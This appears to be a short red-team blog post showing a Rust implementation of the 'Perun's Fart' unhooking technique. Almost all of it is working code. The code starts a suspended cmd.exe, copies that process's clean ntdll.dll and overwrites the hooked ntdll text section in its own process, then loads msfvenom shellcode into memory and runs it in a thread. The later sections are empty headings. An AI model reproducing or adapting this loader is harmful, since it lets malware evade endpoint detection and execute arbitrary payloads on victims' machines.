Unholy Unhooking: Rusty Fart
An overview of Perun's Fart implemented in Rust
Part One: Introduction
Execute implant.exe -> CreateProcess (Suspended) -> steal unhooked ntdll.dll from suspended process -> overwrite hooked syscall table in the memory of implant.exe -> execute malicious codePart Two: The Code
fn main() {
let mut garbage = String::from("\0");
let mut attrsize: usize = Default::default();
let mut old_protect = PAGE_EXECUTE_READ;
let pDosHdr: * const IMAGE_DOS_HEADER;
let pNtHdr: *const IMAGE_NT_HEADERS64;
let pOptHdr: IMAGE_OPTIONAL_HEADER64;
unsafe{
let sacrificialProcess = b"cmd.exe\0";
let initProcess = b"C:\\Windows\\System32\0";
let mut pi:PROCESS_INFORMATION = mem::zeroed();
let mut si:STARTUPINFOEXA = mem::zeroed();
si.lpAttributeList = HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, attrsize) as LPPROC_THREAD_ATTRIBUTE_LIST;
si.StartupInfo.cb = mem::size_of::<STARTUPINFOA>() as u32;
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &mut attrsize);
//create sacrificial process
CreateProcessA(
0 as *const u8,
sacrificialProcess.as_ptr() as *mut u8,
0 as * const SECURITY_ATTRIBUTES,
0 as * const SECURITY_ATTRIBUTES,
false as i32,
CREATE_NEW_CONSOLE | CREATE_SUSPENDED,
0 as *const c_void,
initProcess as *const u8,
&mut si.StartupInfo,
&mut pi
);
//get base addr of ntdll in memory
let pNtdllAddr = GetModuleBaseAddr("ntdll.dll");
//map ntdll
pDosHdr = pNtdllAddr as *mut IMAGE_DOS_HEADER;
pNtHdr = (pNtdllAddr as u64 + (*pDosHdr).e_lfanew as u64) as *mut IMAGE_NT_HEADERS64;
pOptHdr = (*pNtHdr).OptionalHeader;
//find first image section
let pCacheImgSectionHead = (pNtHdr as u64 + mem::size_of_val(&(*pNtHdr).Signature) as u64 +IMAGE_SIZEOF_FILE_HEADER as u64+(*pNtHdr).FileHeader.SizeOfOptionalHeader as u64) as * const IMAGE_SECTION_HEADER;
let target_section = [46, 116, 101, 120, 116, 0, 0, 0]; //.text
//find text section of ntdll in memory
let mut ntdll_addr = (pCacheImgSectionHead as u64 + (IMAGE_SIZEOF_SECTION_HEADER as u64)) as * const IMAGE_SECTION_HEADER;
for n in 0..((*pNtHdr).FileHeader.NumberOfSections as u64){
ntdll_addr = (pCacheImgSectionHead as u64 + (IMAGE_SIZEOF_SECTION_HEADER as u64 * n)) as * const IMAGE_SECTION_HEADER;
if (*ntdll_addr).Name == target_section{
break;
}
}
let ntdll_size = pOptHdr.SizeOfImage as usize;
//create cache
let pCache =
VirtualAlloc(
0 as *const c_void,
ntdll_size,
MEM_COMMIT,
PAGE_READWRITE);
//read sacrificial process ntdll.dll
let bytesRead = 0 as *mut usize;
ReadProcessMemory(
pi.hProcess,
pNtdllAddr as *mut c_void,
pCache,
ntdll_size,
bytesRead
);
println!("pCache: {:?}", pCache);
println!("pCache size: {:?}", ntdll_size);
stdin().read_line(&mut garbage).ok();
//kill sacrificial process
TerminateProcess(pi.hProcess, 0);
println!("\nRemove hooks?\n");
stdin().read_line(&mut garbage).ok();
//unhook ntdll.dll
Unhook(ntdll_addr as *mut c_void, pCache as *const c_void);
VirtualFree(pCache,0,MEM_RELEASE);
println!("Unhooking complete, run payload?");
stdin().read_line(&mut garbage).ok();
}
//msfvenom calc
let payload : [u8;276] = […snip…];
unsafe{
//println!("allocating payload mem");
//allocate payload mem
let payload_addr =
VirtualAlloc(
0 as *const c_void,
payload.len(),
MEM_COMMIT,
PAGE_READWRITE);
//println!("copying payload into mem");
//copy payload
std::ptr::copy(payload.as_ptr() as _, payload_addr, payload.len());
//println!("restoring payload mem permissions");
//change payload permissions
VirtualProtect(
(payload_addr) as *const c_void,
payload.len(),
PAGE_EXECUTE_READ,
&mut old_protect
);
//println!("creating thread");
let thread_fn = std::mem::transmute (payload_addr as *const u32);
//create thread
//thread_fn();
let thread =
CreateThread(
null_mut(),
0,
thread_fn,
null_mut(),
0,
null_mut());
WaitForSingleObject(thread, u32::MAX);
}
}
Part Three: Differences
Part Four: ???
Part Five: Profit




Part Six: Conclusion
References:
Last updated
